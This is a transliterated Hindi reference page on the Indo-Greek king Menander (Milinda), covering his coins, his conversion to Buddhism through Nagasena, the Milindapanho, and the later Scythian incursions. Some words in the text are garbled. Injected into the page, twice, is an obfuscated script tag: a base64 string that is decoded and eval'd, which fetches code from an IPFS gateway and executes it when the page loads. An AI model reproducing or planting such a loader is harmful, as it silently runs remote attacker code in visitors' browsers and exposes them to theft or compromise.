मिलिन्द

milind ya manendar
thumb|250px|miliand (minaandar) ka sikka

• uttar-pashchim bharat ka 'hindi-yoonani' raja 'manendar' 165-130 ee. poo. lagabhag ( bharatiy ullekhoan ke anusar 'milind') tha.
• pratham pashchimi raja jisane bauddh dharm apanaya aur mathura par shasan kiya.
• rajy ki sima- baiktriya, panjab, himachal, jammoo se mathura .
• demetriyas ke saman minandar namak yavan raja ke bhi anek sikke uttar - pashchimi bharat mean upalabdh hue haian.
• minandar ki rajadhani shakal (siyalakot) thi.
• bharat mean rajy karate hue vah bauddh shramanoan ke sampark mean aya aur achary nagasen se usane bauddh dharm ki diksha li.
• bauddh granthoan mean usaka nam 'milind' aya hai.
• 'milind panho' nam ke pali granth mean usake bauddh dharm ko svikrit karane ka vivaran diya gaya hai.
• minandar ke anek sikkoan par bauddh dharm ke 'dharmachakr' pravartan ka chihn 'dharmachakr' bana hua hai, aur usane apane nam ke sath 'dhramik' (dharmik) visheshan diya hai.
• yoonani lekhak straibo ke lekhoan se soochit hota hai, ki demetriyas ke bharat akraman mean minandar usaka sahayogi tha.
• straibo ke anusar in vijayoan ka labh kuchh minandar ne aur kuchh yuthidimas ke putr demetriyas ne prapt kiya. isase anek itihasakaroan ne yah parinam nikala hai, ki minandar aur demetriyas ne ek hi samay mean sammilit roop se bharat par akraman kiya tha, aur minandar demetriyas ka hi senapati tha.
• shri tarn is mat ke pramukh pratipadakoan mean haian. bad mean minandar ne bhi apana prithak v svatantr rajy sthapit kiya.
• indo-yoonani shasakoan mean demetriyas kul menaandar niahsandeh sabase yogy shasak tha. bauddh sahity 'milindapanho' mean ise milind ke nam se jana jata hai.

thumb|250px|miliand (minaandar) ka sikka

• milandapanho mean menaandar evan bauddh bhikshu nagasen ke madhy sampann vad-vivad, evan jisake parinamasvaroop menadar evan bauddh bhikshu svikar, kiya, ki katha ka varnan hai.
• menaandar ne bharat mean apani simaoan ke vistar ke sath prashasan ko sthayitv pradan kiya. sambhavatah menaandar ka adhikar skat ghati, hazarazila evan panjab mean ravi nadi tak tha. *straibo ke varnan ke anusar yoonaniyoan ne gangaghati tatha patiliputr tak akraman kiya.
• mahabhashy ke varnan ke adhar par mana ja sakata hai ki yoonaniyoan ne avadh ke saket, rajasthan mean chittau d ke samip sthit 'madhyamika' par adhikar karane ka prayatn kiya.
• menaandar ke sikke hamean uttar mean kabul tak evan dilli se mathura tak mile haian.
• periplas ke anusar menaandar ke sikke bh dauch ke bazaroan mean khoob prachalit the. usaki katipay kaansy mudraoan par dharm chakr pratik 'maharajat' dhamikas prachalit the. mainandaras virud milata hai.
• 'milindapanhoan' ke ullekh ke anusar saket minaandar ki rajadhani thi.
• sakal tatkalin shiksha ka ek mahattvapoorn kendr tha, sath hi sampannata mean yah patilaputr ke samakaksh tha.
• minendar ki kaansyamudraoan par dharmachakr ka chinh milata hai.
• periplas ke anusar menandar ke sikke bh dauch mean chalate the. mathura se usake tatha usake putr steto ke sikke mile haian.
• kalantar mean madhy eshiya ke khanabadosh kabiloan ne, jinamean 'sithiyan' log bhi the, baiktriya par dhava bol diya.
• chini samrat shi-huaang-ti dvara tisari shatabdi ee.poo. chin ki vishal divar bana dene ke karan kabiloan ko pashchim mean badhane ke lie badhy hona p da, jisake parinamasvaroop sithiyanoan ko visthapit hokar bharat ke indo-grik bhagoan par akraman karana p da.
• sithiyanoan ko hi bharatiy granthoan mean shak nam se jana jata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>